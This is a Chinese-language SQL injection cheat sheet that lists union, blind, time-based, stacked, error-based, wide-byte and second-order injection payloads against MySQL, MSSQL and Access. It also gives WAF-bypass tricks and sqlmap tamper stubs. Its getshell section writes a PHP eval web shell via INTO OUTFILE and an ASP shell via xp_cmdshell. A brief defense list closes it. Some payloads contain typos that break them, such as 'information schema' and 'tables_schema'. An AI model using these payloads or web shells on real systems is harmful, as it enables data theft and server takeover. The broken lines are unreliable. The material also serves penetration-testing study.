sql 注入原理:
前端提交的数据未作处理或者转义直接带入数据库查询。
sql 注入分类:
按变量类型分:数字型、字符型
按 http 提交方式分:POST注入、GET注入、Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入(堆叠注入)、报错注入、延时注入、内联注入
按数据库类型分:
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis
MySQL与MSSQL及ACCESS之间的区别
1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
1 | select 1,2,3 from `table_name` union select 1,2,3 from `table_name` |
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
判断三种数据库的语句
1 | MySQL:and length(user())>10 |
报错函数总结
1 | 1.floor() |
每个一个报错语句都有它的原理:
1.floor()
向下取整。
即取不大于x的最大整数。取按照数轴上最接近要求值的左边值。
https://blog.csdn.net/qq_27130557/article/details/120902212
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。0x7e=‘~’
1 | 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + |
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
1 | substr(string string,num start,num length); |
手工注入流程
1.判断注入点
1 | or 1=1--+ |
2.获取字段数
1 | order by 1 |
3.查看显示位尝试使用联合注入
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
1 | and 1=2 union select version(),2,3 --+ |
再查询所有数据库
1 | and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3 |
查询所有表名
1 | union select (select group_concat(table_name)from information_schema.tables),2,3 |
查询所有字段名
1 | union select (select group_concat(column_name)from information_schema.columns),2,3 |
查询字段内容
如:查询test库下users表的id及uname字段,用’~’区分id和uname以防字符连接到一起
1 | union select(select group_concat(id,'~',uname)from test.users),2,3 |
报错注入
通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
1 | select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); |
布尔盲注
盲注中常用的函数:
1.char() 解ASCII码
2.mid()截取字符串
1 | 举例: |
3.substr()与mid()相同,都为截取字符串
4.count()计算查询结果的行数
5.concat()查询结果合并但保持原有行数
6.group_concat()查询结果合并但都放在一行中
7.ascii() 查询ascii码
猜数据库长度(利用二分法)
1 | id=1 and (length(database()))>1 |
猜第一个字符,第二个字符,以此类推
1 | and ascii(mid(database(),1,1))>1 |
查询当前数据库中所有表名
1 | and (select count(table_name)from information_schema.tables where tables_schema=database())>1 |
查询第一个表的长度
1 | and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10 |
查询表的第一个字符
1 | and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1 |
查询atelier表里有几个字段
1 | and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2 |
查询第一个字段长度
1 | and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1 |
查询字段第一个字符
1 | and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105 |
查询字段所有行数
1 | and (select count(*) from db83231_asfaa.atelier)>4 |
查询字段名的行数(查询emails表,uname字段)
1 | and (select count(uname)from security.emails)>7 查询uname的行数 |
查询字段内容
1 | length((select username from security.users limit 0,1))>10 |
延时盲注
利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:
1 | select * from user where id='1' or sleep(3) %23 |
这个没什么好说的
1 | select * from user where id= 1 and if(length(version())>10,sleep(3),0); |
如果长度大于10,则睡3秒,其他则0秒
1 | select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end; |
case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。
多语句注入(堆叠注入)
多语句意思就是可以执行多个语句,利用分号进行隔开
1 | 示例: |
内联注入
1 | 举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3 |
利用别名:
1 | union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id) |
getshell
1 | id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+ |
也可使用dumpfile进行写入
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
数据库写入:
1 | exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"' |
宽字节注入
当编码位gbk时,%df%27或%81%27数据为空
就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符\反斜杠,闭合之后页面恢复正常,存在宽字节注入
二次编码注入
代码中有urldecode() 函数
%2527 先解码成%27再解码成’单引号
1 | sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23" |
-prefix为设置前缀 -suffix为设置后缀
设置后缀,防止sqlmap使用内联注
使用自带的脚本进行注入chardoubleencode.py
图片上传sql注入
猜结构,为时间戳加文件名
替换and sleep(3) 为*进行sqlmap
二次注入
abc’ 数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc’
假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;
接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。
常用过WAF技巧
1.特征字符大小写(基本没用)
1 | UnIoN SeLcT 1,2,3 |
2.内联注释
1 | id=-1/*!UNION*/%20//*!SELECT*/%201,2,3 |
3.特殊字符代替空格
1 | %09 tab键(水平)、%0a 换行、%0c 新的一页 |
4.等价函数和逻辑符号
1 | hex()、bin()==>ascii() |
5.特殊符号
1 | 反引号,select `version()`,绕过空格和正则 |
6.关键字拆分
1 | 'se'+'lec'+'t' |
7.加括号绕过
小括号
1 | union (select+1,2,3+from+users)%23 |
花括号
1 | select{x user}from{x mysql.user} |
8.过滤and和or下的盲注
1 | id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23 |
9.白名单绕过
拦截信息:
1 | GET /pen/news.php?id=1 union select user,password from mysql.user |
绕过:
1 | GET /pen/news. php/admin?id=1 union select user,password from mysql. user |
10.HTTP参数控制
(1)HPP(HTTP Parmeter Polution)(重复参数污染)
举例:
1 | index.php?id=1 union select username,password from users |
HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。
具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
1 | /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- |
11.burpsuite 插件分块传输
https://github.com/c0ny1/chunked-coding-converter
SQL注入防御
- 对用户输入的内容进行转义
- 限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
- 使用 SQL 语句预处理,然后进行参数绑定,最后传入参数
- 添加 WAF、防火墙等。
拓展
sqlmap bypass D盾 tamper
1 | #!/usr/bin/env python |
sqlmap bypass 云锁 tamper
1 | #!/usr/bin/env python |